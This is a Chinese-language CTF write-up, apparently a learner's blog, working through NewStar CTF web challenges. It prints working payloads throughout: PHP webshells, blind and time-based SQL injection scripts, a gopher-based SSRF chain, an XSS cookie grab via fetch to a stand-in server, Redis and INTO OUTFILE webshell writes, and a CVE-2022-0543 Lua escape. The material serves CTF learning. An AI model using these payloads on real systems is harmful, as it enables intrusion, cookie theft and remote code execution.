当前位置: 首页 > news >正文

NewStar CTF web wp

文章目录

  • week1
    • headach3
    • 会赢吗
    • 智械危机
    • 谢谢皮蛋
    • PangBai 过家家(1)
  • week3
    • include me
    • blindsql1
    • 臭皮的计算机
    • 臭皮踩踩背
    • 这照片是你吗
  • week4
    • Pangbai过家家四
    • blindsql2
    • chocolate
    • ezcmsss
    • ezpollute
    • 隐藏的密码
  • weeek5
    • pangbai过家家(5)
    • redis
    • sqlshell
    • 臭皮吹泡泡
    • 臭皮的网站

week1

headach3

根据提示,在页面的请求头里找到flag
flag{You_Ar3_R3Ally_A_9ooD_d0ctor}

在这里插入图片描述

会赢吗

打开控制台,拿到第一部分flag
在这里插入图片描述
将地址栏改为提示,去到下一关在这里插入图片描述
控制台调用函数,得到flag
在这里插入图片描述
进入第三关,看到与第二关很相似,同样是向一个地方发数据,根据响应拿到flag,但是第二关没有完成该功能的函数,猜测是要自己写一个脚本数据过去
在这里插入图片描述
看题解才发现原来是要修改if指向的条件值在这里插入图片描述
去到第四关,修改设置禁用js,拿到flag,最后将所有flag进行base64解码即可

智械危机

进来看到提示flag跟robots相关,访问robots.txt,(这里为什么要访问这个地址,也是在一次ai的过程里突然理解)得到一个地址,进入在这里插入图片描述
在这里插入图片描述
函数部分的逻辑好理解,接下来解释一下if部分的逻辑在这里插入图片描述
在这里插入图片描述在这里插入图片描述
所以我们所看到的当前网页其实就是else语句执行后的结果
在这里插入图片描述
在题目的源码里,我们可以看到解码后的命令会被执行,因此,可以发送一个获取flag的命令过去,也就是一个webshell

from hashlib import *
from random import  *
from requests import *
from tqdm import *
import uuid
import base64
url='http://127.0.0.1:59206//backd0or.php'
cmd='cat /flag'
base_cmd=base64.b64encode(cmd.encode()).decode()
rev_base_cmd=base_cmd[::-1]
key=base64.b64encode(md5(rev_base_cmd.encode()).hexdigest().encode()).decode()
payload={'cmd':base_cmd,'key':key
}
responce=post(url,data=payload)
print(responce.text)

谢谢皮蛋

做这题之前需要先去学习一些数据库的知识

  • 1 order by 2
    1可以理解为输入的id,是一个占位符,按第二列排序用来测试列数,如果没有两列则会报错
  • -1 union select 1,2
    -1同样是占位符,union的作用是将注入语句合并到原始语句中,select 1,2用于从数据库中返回两个常量值1,2在这里插入图片描述
  • -1 union select 1,database()
    在这里插入图片描述
    拿到数据库名,接下来查看表名
 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述
全都看一遍,拿到flag

PangBai 过家家(1)

根据提示,在网络里找到下一关的地址在这里插入图片描述
输入查询参数,进入下一关
在这里插入图片描述
第三关采用post方法发送请求,先下一个hackbar插件在这里插入图片描述
这里是真不懂有什么逻辑在其中了,第四关wp说将刚才发的请求再重新发一遍,为什么要这么做呢在这里插入图片描述
根据提示将用户代理改为Papa/1.0,进入下一关在这里插入图片描述
同样,我们再发一次请求,得到在这里插入图片描述

import requests# URL 和 Headers
url = "http://8.147.132.32:36002/?ask=miao"
headers = {"Host": "8.147.132.32:36002","User-Agent": "Papa/1.0","Content-Type": "multipart/form-data; boundary=abc","Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0",
}# 构造 form-data 数据
data = ("--abc\r\n"'Content-Disposition: form-data; name="file"; filename="1.zip"\r\n'"\r\n""123\r\n""--abc\r\n"'Content-Disposition: form-data; name="say"\r\n'"\r\n""玛卡巴卡阿卡哇卡米卡玛卡呣\r\n""--abc--\r\n"
)# 发送 PATCH 请求
response = requests.patch(url, headers=headers, data=data)# 打印响应
print("Status Code:", response.status_code)
print("Response Text:", response.text)

hackbar莫名出了点问题,后面就没做了

week3

include me

题目打开过5秒就会自动跳转,赶紧冲手速把代码复制下来

<?php
highlight_file(__FILE__);
function waf(){if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){die("兄弟你别包");};
}
if(isset($_GET['phpinfo'])){phpinfo();
}//兄弟你知道了吗?
if(!isset($_GET['iknow'])){header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}waf();
include $_GET['me'];
echo "兄弟你好香";
?>

传入参数iknow就可以防止跳转,看一下绕过,大致都被禁用了,根据伪协议提示想到data协议,但是php也被禁用了,于是只能翻文档,找到编码绕过在这里插入图片描述

payload:
http://127.0.0.1:63097/?iknow=1&data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

看wp时发现一些细节需要注意

  • 编码后最后不能是+,会被解析成空格
  • 如果密文中带=号被过滤,可以采取明文前多加几个空格的方法
    在这里插入图片描述

blindsql1

提示盲注,进来随便尝试一下,发现不给回显,一些关键词可能被禁用
在这里插入图片描述
测试一下,发现空格,union,=,/都被过滤了

  • =号的绕过可以用like或in
  • 空格和/的绕过可以用括号
  • and前面是字符串或者括号可以不加空格

写一个盲注脚本,利用name=alice and 猜测值=实际值,如果猜对,and后面是true,alice的信息会被带出,注意要在alice的后面加上’来闭合
记录一下写脚本时候踩的坑

  • 当用like或in代替=时,两边的数据都要加上(),不然会被识别成一整个字符串
  • ord(c)一定要放到{}里面,因为这是python的代码,sql不会执行
import string,time,tqdm,requests
url='http://127.0.0.1:62459/'
result=''
for i in tqdm.trange(1,100):for c in string.digits+string.ascii_letters+'_-':time.sleep(0.2)tables='(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))'char=f'ord(mid({tables},{i},1))'bl=f'(({char})in({ord(c)}))'p=f'Alice\'and({bl})#'response=requests.get(url,params={'student_name':p})if 'Alice' in response.text:result+=cprint(result)break

到25时爆破速率明显减慢,猜测只有这几张表在这里插入图片描述
courses,secrets,students
接下来爆破secrects列名
在这里插入图片描述
随后在三列中翻翻flag

for i in tqdm.trange(1,100):for c in string.digits+string.ascii_letters+string.punctuation:time.sleep(0.2)tables='(select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'char=f'ord(mid({tables},{i},1))'bl=f'(({char})in({ord(c)}))'p=f'Alice\'and({bl})#'response=requests.get(url,params={'student_name':p})if 'Alice' in response.text:result+=cprint(result)break

臭皮的计算机

根据提示进入到/calc,随便测一下,发现会返回报错信息,且输出使用print(eval),测试system,有特殊信息,说明应该是要绕过执行命令在这里插入图片描述
连续测了system,shell_exec,phpinfo,似乎全都被禁用了,开源代码看一下,发现能看到代码逻辑,且字母全被过滤了在这里插入图片描述
做不下去了,开wp看一看,提到用全角字符绕过,Google一下在这里插入图片描述
因为是python脚本,所以不能直接用system,在这里也是学到一个新姿势在这里插入图片描述
在这里插入图片描述
转为全角字符时报错,猜测是因为括号内字符不能继续用全角,采用chr函数或八进制绕过

str='oscatflag'
res=''
for i in str:res+=f'chr({ord(i)})+'
print(res)

结果又被禁用了,看wp一下子想通了,全角字符在当作函数名或者import使用时可以正常运行,所以数字和括号需要用半角字符

_import_(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

臭皮踩踩背

这道题似乎出什么问题了
在这里插入图片描述

这照片是你吗

触及到知识盲区了,顺着wp做一做
在这里插入图片描述
静态文件的提示,说明应该去找可读文件,随后,从响应标头里找到疑似flask框架的信息在这里插入图片描述
随后,根据flask框架,猜测主程序名是app.py在这里插入图片描述
路径穿越回根目录看一下,被禁止访问了,但是可以访问下级目录,试试看一些默认位置

在这里插入图片描述
之后因为本地抓包的配置一直没弄好,就一直卡在这里了

week4

Pangbai过家家四

gpt分析一手在这里插入图片描述
直接去看main.go源码
.User输入字符串会被直接拼接,类似SSTI注入,测试xss脚本在这里插入图片描述
能用,但是不熟悉攻击手法,于是去看wp,关注渲染过程的核心代码

tmplStr := strings.Replace(string(content), "%s", input, -1)
tmpl, err := template.New("eye").Parse(tmplStr)helper := Helper{User: user, Config: config}
err = tmpl.Execute(w, helper)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
那么现在我们知道了,{{.}}是传递给模板的内容,可以通过.访问它的下级。可以使用 {{ . }} 获取整个上下文,或使用 {{ .A.B }} 进行层级访问。若上下文中含有函数,也支持 {{ .Func “param” }} 的方式传入变量。并且还支持管道符运算。
但是这个.所能控制的不是一直都是我们传入的内容吗,自己访问自己没意义啊,但是如果点能访问其他内容呢?
在本题中,由于 utils.go 定义的 Stringer 对象中的 String 方法,对继承他的每一个 struct,在转换为字符串时都会返回 [struct],所以直接使用 {{ . }} 返回全局的上下文结构会返回 [struct].

func (s Stringer) String() string {return "[struct]"
}

在这里插入图片描述

type Helper struct {StringerUser   stringConfig Config
}

在这里插入图片描述

注意到恰好Helper是stringer对象,所以如果调用点会返回[struct]在这里插入图片描述
在这里插入图片描述
拿到JwtKey
接下来去看另一个路由在这里插入图片描述
✅ JWT 伪造漏洞:如果已拿到 JwtKey,可以伪造 Papa 身份绕过权限检查。
✅ 路径遍历漏洞:如果 config.SignaturePath 没有限制,可以利用 PUT 方法覆盖任意文件。
那么接下来其实思路很明确了,用JwtKey签一个token,再利用put方法更新path路径,get请求渲染页面即可实现任意文件访问。
唯一的问题其实是限制了只能本地访问,当然我们在本地复现时不需要考虑这个,但是在打比赛的时候就需要用SSRF才能绕过,其实一开始进来就看见了这么一个函数

func (c Helper) Curl(url string) string {fmt.Println("Curl:", url)cmd := exec.Command("curl", "-fsSL", "--", url)_, err := cmd.CombinedOutput()if err != nil {fmt.Println("Error: curl:", err)return "error"}return "ok"
}

所以调用curl 函数在这里插入图片描述
后来测试发现想复杂了,其实直接用简单的两层括号就可以拿到ok

{{.curl “http://localhost:8000”}}

因为curl发起的命令只能发送get请求,所以还需要想办法发put请求,这里因为curl命令支持gopher协议,所以在这里插入图片描述
先去签一个jwt在这里插入图片描述
再让gpt写一个put协议的原始报文,注意数据以原文传,并且不能加换行,否则会影响到文件读取

PUT /favorite HTTP/1.1
Host: localhost:8000
cookie:token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiUGFwYSJ9.yjIwYcy92eqIx6mcAfxTRlhFIglUfiP7uPEmUZ85evY
Content-Type: text/plain
Content-Length: 18/proc/self/environ

然后卡了一会,最后发现报文需要二次urlencode才可以通过在这里插入图片描述
奇怪的是接下来访问favorite路由还是没拿到flag,又试了一次总算拿到flag了,这里过程发现一个点,jwt签名的时候,不管是Name还是user都可以正常读到papa,可能是因为只有一个数据的原因吧。这里如果不看wp哪怕能够做到任意文件读我估计也想不到flag在环境变量里。学到了这种手法

proc/self/environ

在这里插入图片描述

blindsql2

这里看不到回显数据了,我们在上一个盲注中可以通过Alice来判断是否注入成功,在这里则得不到信息,不急,先测试几手,发现空格,等号,union,/被过滤,输入单引号时页面突然无内容,猜测使用单引号闭合
到这里其实是跟1一样的,唯一的区别在于2没有了回显数据,我们需要找一个点来判断注入是否成功。

for i in tqdm.trange(1,100):for c in string.digits+string.punctuation+string.ascii_letters:time.sleep(0.01)table='(select(group_concta(table_name)from(information_schema.tables)where(table_name=database())))'char=f'ord(mid({table},{i},1))'bl=f'(ord{c})like({char})'p=f'Alice\'and({bl})'

写到这里卡住,测试无论是有的数据还是没有的数据都是一样的返回结果,Google一手,发现时间盲注的手法

id=1’ and if(ascii(substr(database(),1,1))>100,sleep(3),0)–+

如果猜对了就睡三秒,那么怎么通过这一特性写脚本呢,继续Google,找到盲注相关脚本

  time1 = datetime.datetime.now()r = requests.get(url + payload)time2 = datetime.datetime.now()sec = (time2 - time1).secondsif sec >= 1:print(i)else:print(i)break

到这里就可以写出完整脚本了,可以预见的是脚本的运行时间一定很长,趁这个时间去看看wp,果然也是时间盲注,不过本地自己写的脚本爆的前几个字符没啥意义,可能脚本有问题还需要调整。检查发现在sql语句中if需要加括号,sleep时间不能太短,否则会因为网卡1s而匹配错误结果

完整脚本
import string,time,tqdm,requests
url='http://127.0.0.1:23237/'
result=''
for i in range(1,100):print(f'[+]bruting at {i}')for c in string.ascii_letters + string.digits + ',_-{}':time.sleep(0.01)tables = f'(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))'char = f'ord(mid({tables},{i},1))'b = f'({char})in({ord(c)})'p = f'Alice\'and(if({b},sleep(1.5),0))#'res = requests.get(url, params={'student_name':p})if res.elapsed.total_seconds() > 1.5:result += cprint(result)break

chocolate

输入’尝试sql注入,爆出一些信息在这里插入图片描述
在这里插入图片描述
看上去没有文件包含点,只是需要做一些绕过,字母被过滤,第一个数字不能为0,那么采用八进制,在前面加上一个空格的url编码%20即可绕过,
在这里插入图片描述
成功绕过,拿到可可的值和提示,crypto上线,看后缀猜测应该是php,过了一道简单的凯撒加密在这里插入图片描述
奇怪的是进来竟然是404,开wp看一眼,原来是因为大小写的问题,b需要大写

在这里插入图片描述
在这里插入图片描述
还是熟悉的绕过,gpt一手,找到php的弱类型特点来绕过

在这里插入图片描述
遗憾的是在这里恰好是一个严格比较,所以绕不过去,Google一手找找资源在这里插入图片描述

<?php 
$number = 1 + "10.5";  	// $number = 11.5 (float)
$number = 1 + "-1.3e3"; 	// $number = -1299 (float)
$number = 1 + "bob-1.3e3"; // $number = 1 (int)
$number = 1 + "2admin"; 	// $number = 3 (int)
$number = 1 + "admin2"; 	// $number = 1 (int)
?>

找到一种思路,使用hash碰撞,但是下载工具似乎出了点问题,不是梯子的原因,但是一直进不去在这里插入图片描述
需要进官网去找这个程序,直接下会出问题
https://marc-stevens.nl/research/hashclash/
在这里插入图片描述
新建一个文件放入任意内容,随后运行这个命令

fastcoll_v1.0.0.5.exe -p a.txt -o 1.txt 2.txt

在powshell里需要加入./才能正常运行
可惜还是没绕过,这里就有点想不通了,bp抓个包看看,这里说一下bp怎么抓本地靶场的包,折腾了一个多小时
首先需要把127.0.0.1替换为自己的ipv4地址,输ipconfig命令就可以看到
在这里插入图片描述
gpt一手在这里插入图片描述
试试开启透明代理
在这里插入图片描述
后来突然想通了哪里出的问题,我们在浏览器是用了一个代理,这个代理设置了一个监听地址,而这个地址一定不能是题目的地址,因为当我们发包时就相当于把题目的数据发到代理设置的这个地址,如果你的 Burp 监听 了 10.147.42.151:19830,但你请求的目标也是 10.147.42.151:19830,造成了 Burp 代理自身的死循环。在这里插入图片描述
但是发现替换成ip4地址的时候莫名无法访问了
在这里插入图片描述
最后尝试用bp的内嵌浏览器,可以正常抓包了

在这里插入图片描述
还是不对,看了看wp,思路就是这个,不信邪又用工具跑了一次,还是不对,那这个工具可能是有点问题,也有可能是要文件的MD5值,我是直接ctrl+a去计算的url编码。wp从网上直接找了组数据,那么我也去找找看,找到两组数据都可以

cat=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&dog=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

到这里其实就绕过了,再看下一层绕过,miao==md5(miao),一个弱比较,在前面搜集信息的时候就看到思路了,找到字符串的哈希值0e开头,计算这个0e开头的哈希值也是0e开头,完成绕过

moew=0e215962017
md5=0e291242476940776845150308577824

md5和双md5之后都是0e开头的

CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM

这里奇怪的是网上找的数据明明没有问题,但就是用不了,用wp的数据一下就过了,下一个绕过就更简单了,写个脚本使前几个字符是8031b即可

from Crypto.Util.number import *
from sympy import *
from Crypto.Cipher import AES
from tqdm import tqdm
from libnum import *
import string
from hashlib import *
import os
import gmpy2
from hashlib import *
from random import *
from requests import *
from tqdm import *
import uuid
from bs4 import BeautifulSoup
import requests
import requests# headers = {
#     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36'}
# for i in range(500):
#     url = "http://127.0.0.1:55146//{{()['__cla'+'ss__'][__base__]['__subcla'+'sses__()'][" + str(i) + "].__init__.__globals__}}"
#     res = requests.get(url=url, headers=headers)
#     print(res.status_code)
#     if 'os' in res.text:
#         print(i)
#
# # payload: {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
# from pwn import *
# host = 'challenge.utctf.live'
# port = 7150
# conn = remote(host, port)
# for i in range(1,50):
#     message = chr(i)
#     print(message)
import hashlib
import itertools
import stringdef find_matching_string():charset = string.ascii_letters + string.digits  # 允许的字符(大小写字母+数字)for length in range(1, 10):  # 逐步增加字符串长度for s in itertools.product(charset, repeat=length):test_string = ''.join(s)md5_hash = hashlib.md5(test_string.encode()).hexdigest()if md5_hash.startswith("8031b"):return test_string, md5_hashresult_string, md5_value = find_matching_string()
print(f"找到匹配的字符串: {result_string}")
print(f"对应的 MD5 哈希: {md5_value}")

去final.php,大概看一下应该是反序列化的内容,通过post方法传入food,food进行反序列化
在这里插入图片描述
到晚上思维开始疲惫了,明天再看吧
看起来思路是需要构造一个序列化字符串,然后绕过chocolate匹配,就可以拿到信息,本来想自己写脚本,结果gpt把字符串给出了,尝试能不能用吧

payload = 'O:9:"chocolate":2:{s:3:"cat";s:4:"test";s:5:"kitty";s:4:"test";}'

Google半天没找到类名检测怎么绕过,干脆直接看wp吧,wp说用大小写绕过,提交数据没反应,那问题应该出在gpt构建的序列化字符串上,我们自己构造一个

在这里插入图片描述
抓个包把原始数据传过去,拿到最后一个参数在这里插入图片描述

 可可液块=1337033可可脂=202409黑可可粉=51540

这个页面就没有信息了,回主页面试一下,糖粉输10000显示太甜,输1000显示太苦,所以最后一个应该是要靠二分法猜出来,大概十次左右试出是2042

ezcmsss

进来随便看看,cms是文件管理系统,没找到啥有用的,dirsearch扫一扫在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
下载www.zip拿到一个假的flag,但至少说明思路没问题在这里插入图片描述
估计是从ctfshow改的题,解了一下misc的flag也不对,大概率还是要去看源码,可能利用网站的更新日志,网站本身还是老版本这个思路
在这里插入图片描述
突然找到一个有意思的东西在这里插入图片描述
本来想抓包爆破,但是一想需要验证码,爆破也不好搞,去给的极致站点看了看也没什么,没剩啥思路了,去注册登录一手,发现有可能存在文件上传。刚想试试是不是前端校验,在选择分类那里不让选,等于把文件上传杀死了。头大,去看一眼wp。好吧,原来是漏看了一个文件导致错过了后门的账号密码在这里插入图片描述
在这里插入图片描述
成功登录在这里插入图片描述
进来逛一逛啥也没找到,倒是有上传点,但是一想都进后台了要上传干嘛。从项目地址去看了看接下来的版本更新日志,也没找到啥思路。有意思的是这时候注意到清理缓存这个选项,进来看看有一些缓存的数据地址,进去一看还真有东西,感觉应该在这里,但是没找到,再去看一眼wp在这里插入图片描述
没想到跟我想的方向不搭边,这时候还是感觉到有一点挫败感的,不过没事,从哪里跌倒就从哪里爬起来。其实不应该看各版本的更新日志,而是应该Google这个版本下的漏洞在这里插入图片描述
这个版本有一个任意文件下载漏洞,看了下wp,因为我们是在本地复现,所以无法通过公网url下载,需要将.zip文件上传到容器里再下载解压。为什么要这么做呢,我们需要传入木马拿到网站的控制权,但是直接上传不知道文件在哪,而这个任意文件下载漏洞可以找到文件的位置,并且将下载行为改为解压缩行为,就可以拿到木马的位置,完成getshell。找一个上传点。在这里插入图片描述
抓个包找到上传路径

/static/upload/file/20250317/1742220428158999.zip
在这里插入图片描述
说明上传成功了

接下来照葫芦画瓢,利用CVE的数据包

POST /admin.php/Plugins/update.html HTTP/1.1
Host: 192.168.48.135
Content-Length: 93
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.48.135
Referer: http://192.168.48.135//admin.php/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=tnfljdrsfd3fdf7qin35gf26v4
Connection: closeaction=start-download&filepath=mutisite&download_url=/static/upload/file/20250317/1742220428158999.zip

sessionid要改成自己的在这里插入图片描述
漏洞复现
跟着y4走了一下流程到最后发现404,回头检查才发现压缩文件时windows自动把马杀了。。。
没事,重来一手

/static/upload/file/20250317/1742222745119562.zip
最后还是404,猜测可能是下载插件的环境不一样导致的,抓的数据包跟复现内容总有差异,继续检查,发现在下载时没有用绝对地址,应该用http,继续检查,发现要把插件卸载了再下才可以,不然会触发禁止重复下载的逻辑在这里插入图片描述
到这里就成功下载下来了在这里插入图片描述
但是按照复现路径又报404了,这里刚要崩溃的时候突然试出来路径,原来是还需要在文件前加上文件夹名字,而wp里的filepath纯扯淡

在这里插入图片描述
随后拿到flag在这里插入图片描述
总算打完了

ezpollute

看题目应该是一个js原型链污染
这道题很想试试,可惜平台没把源码放出来,做不了啊

隐藏的密码

进来看到一个登录页面,从提示来看不太可能爆破进去,dirsearch扫一扫在这里插入图片描述
请求太多会报错,只能做一个简单的扫描,这个就更头大了,找不到一点信息,sql,ssti尝试了,还以为做了请求的限制在这里插入图片描述
尝试了一下降线程没用,还是会达上限,加了延时到十个任务每秒还是没用,难怪只有四解,不做了,继续硬做的话等探测完都过去几个小时了

weeek5

pangbai过家家(5)

box和send两个路由在这里插入图片描述
可以看到flag就在cookie里,想办法拿出来即可,可以利用xss,但是有过滤在这里插入图片描述
在这里插入图片描述
用gpt没绕过,第一次做xss题,去看看wp

function safe_html(str: string) {return str.replace(/<.*>/igm, '').replace(/<\.*>/igm, '').replace(/<.*>.*<\/.*>/igm, '')
}

在这里插入图片描述

<script
>alert(1)</script
>

可以利用js的fetch函数发请求到自己服务器上拿信息

fetch("http://your-server.com/?data=" + document.cookie)

然而复现中环境是不出网的,即访问不到服务器,所以需要想其他办法带出数据,如果把获取cookie的函数发过去,bot处理后我们在信箱是不是能看见cookie

fetch("https://jsonplaceholder.typicode.com/posts", {method: "POST",  // 请求方法headers: {"Content-Type": "application/json"  // 设置请求头},body: JSON.stringify({ title: "Hello", body: "World" })  // 发送数据
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error("Error:", error));

在这里插入图片描述

<script
>
fetch('/api/send', {method: 'POST',headers: {'Content-Type': 'application/json'},body: JSON.stringify({'title': "Cookie", 'content': document.cookie})
})
</script
>

顺利拿到flag

redis

在这里插入图片描述
简单的说就是一个高性能的键值对数据库,在网上找了一些渗透的命令都无效,怀疑是不是我的问题,看一眼wp在这里插入图片描述
这个确实是一个命令面板没毛病,但是背后过滤了一些东西,所以set命令写入shell不可用,先去www.zip看看源码过滤了什么吧在这里插入图片描述

redis-cli -h [目标ip] -p [redis端口]          #连接redis服务器config set dir /var/www/html                  #设置数据库备份文件的放置路径config set dbfilename shell.php             #设置备份文件的文件名set x "<?php @eval($_POST['tt']);?>"   #添加一个键”x”,值为一句话木马save                                                       #保存

Redis Lua 沙盒逃逸和远程代码执行 (CVE-2022-0543)
试试里面的脚本

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

结合gpt改改脚本即可拿到flag在这里插入图片描述

sqlshell

提示flag不在数据库,应该是要通过某种sql执行命令的方式,Google看看在这里插入图片描述
这次终于不过滤空格了,可惜也没有回显,怎么拿到数据呢

(select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php")

在这里插入图片描述

select * from information_schema.session_variables where
variable_name=‘secure_file_priv’

其实这道题思路还是没问题的,但是对sql语法不熟悉导致没能成功写进去
先测试列数

Alice' order by 4#

到4无回显,说明有三列

Alice' union select 1,2,3#

看哪些字段会回显

#查询数据库 #【test】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 --dbs
#获取数据库中的表 #【admin、news】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test --tables
#获取表中的字段名 #【 user_id、user_name、user_pass】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin --columns
#获取字段信息 【admin:mysql】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin -C user_name,user_pass --dump

sqlmap使用

Alice' union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"#

getshell

臭皮吹泡泡

进来一看大概率是反序列化的一些东西

class let_me
{public $let_me;public $time;public function get_flag(){$runcode="<?php #".$this->let_me."?>";$tmpfile="code.php";try {file_put_contents($tmpfile,$runcode);echo ("we need more".$this->time);unlink($tmpfile);}catch (Exception $e){return "no!";}}public function __destruct(){echo "study ctf let me happy";}
}

其他几个类没感觉有什么用,先看let_me类,可以传入php代码,但是需要想办法绕过#注释,写入文件后有一个字符拼接,在这之后文件被销毁,可否在文件销毁前调用tostring方法呢,看样子需要让time赋值为其他类的实例

class ctf
{public $ctf;public function __tostring(){if ($this->ctf === "phpinfo") {die("u can't do this!!!!!!!");}($this->ctf)(1);return "can can need";}
}

突然想到,如果die了,是不是就不会调用销毁文件方法,理论形成,实践开始.
一直没打通,看了一眼wp,才发现细节处理有问题在这里插入图片描述
继续看了眼wp,其实思路就是这么个思路,唯一的区别在于绕过#的方式不同,我们测试一下换行能不能绕过#在这里插入图片描述
没绕过去,所以问题出在绕过这里,还是得用标签闭合来绕过。第二个问题是pop链的起点没找对,反序列化时可不会自动调用get_flag方法,所以还需要一个happy的wakeup方法。一下子被绕的有点晕,先放一放回头再来看

臭皮的网站

头有点疼下次再回来解吧

相关文章:

NewStar CTF web wp

文章目录 week1headach3会赢吗智械危机谢谢皮蛋PangBai 过家家&#xff08;1&#xff09; week3include meblindsql1臭皮的计算机臭皮踩踩背这照片是你吗 week4Pangbai过家家四blindsql2chocolateezcmsssezpollute隐藏的密码 weeek5pangbai过家家(5)redissqlshell臭皮吹泡泡臭皮…...

Docker运行postgreSQL,由于异常启动或者退出后,提示could not locate a valid checkpoint record

pg_resetwal 是 PostgreSQL 的“急救工具”&#xff0c;用于在极端情况下修复因 WAL 或控制文件损坏导致的启动问题。 但需注意&#xff1a; 风险极高&#xff0c;可能导致数据不一致。必须立即转储并恢复&#xff0c;避免直接在修复后的数据库中执行写操作。仅在备份后使用&…...

Leetcode 刷题笔记1 图论part01

图论的基础知识&#xff1a; 图的种类&#xff1a; 有向图&#xff08;边有方向&#xff09; 、 无向图&#xff08;边无方向&#xff09;、加权有向图&#xff08;边有方向和权值&#xff09; 度&#xff1a; 无向图中几条边连接该节点&#xff0c;该节点就有几度&#xff1…...

文件管理系统

前言&#xff1a;之前我们讨论的是被打开文件的管理&#xff0c;那么未被打开的文件是如何管理的呢&#xff1f; 1.认识磁盘设备 1.1磁盘的物理结构 磁盘是由盘片&#xff08;盘面&#xff0c;扇区&#xff0c;磁道&#xff0c;柱面&#xff09;&#xff0c;磁头&#xff0c…...

荣耀手机卸载应用商店、快应用中心等系统自带的

1.下载abd ADB Download - Get the latest version of ADB and fastboot 2.手机打开开发者选项 3.手机接电脑打开USB调试 4.下载MT管理器查看系统包名 D:\1.LFD\ADB\platform-tools-latest-windows\platform-tools>adb shell adb.exe: no devices/emulators found 这边是…...

结合基于标签置信度的特征选择方法用于部分多标签学习-简介版

假设 部分多标签学习&#xff08;PML&#xff09;假设&#xff1a;假设样本的标签集合中存在伪正标签&#xff0c;即某些标签可能是错误的。目标是从候选标签集中识别出真实标签。特征与标签的关系假设&#xff1a;假设不同的标签对应的特征子空间可能是不同的&#xff0c;而不…...

【小白向】Word|Word怎么给公式标号、调整公式字体和花括号对齐

【小白向】Word&#xff5c;Word怎么给公式标号、调整公式字体和花括号对齐 我的版本&#xff1a;Word 2021 如需快速查看关键步骤&#xff0c;请直接阅读标红部分。 如果遇到无法调整的情况&#xff0c;可以直接下载我的示例文档进行参考&#xff1a;花括号和其他的示例公式.…...

基于香橙派 KunpengPro学习CANN(2)——Ascend Extension for PyTorch 配置与安装

将 PyTorch 网络迁移到昇腾平台并执行训练或推理&#xff0c;直接使用昇腾提供的构图接口构图。Ascend Extension for PyTorch插件用于适配PyTorch框架&#xff0c;可以使用昇腾AI处理器的算力。 1 pip 安装 # 下载PyTorch安装包 wget https://download.pytorch.org/whl/cpu/…...

【备赛】遇到的小问题-1

问题描述-1 想实现的功能是&#xff0c;通过ADC实时测量某引脚的电压及其占空比。 可以通过旋转电位器&#xff0c;更改其电压。 首先我定义了这几个变量 uint32_t adc_value;//HAL库函数里面得出的采样值(实时更新) uint32_t percentage6;//占空比&#xff0c;随着adc_val…...

Browser Use的安装和使用

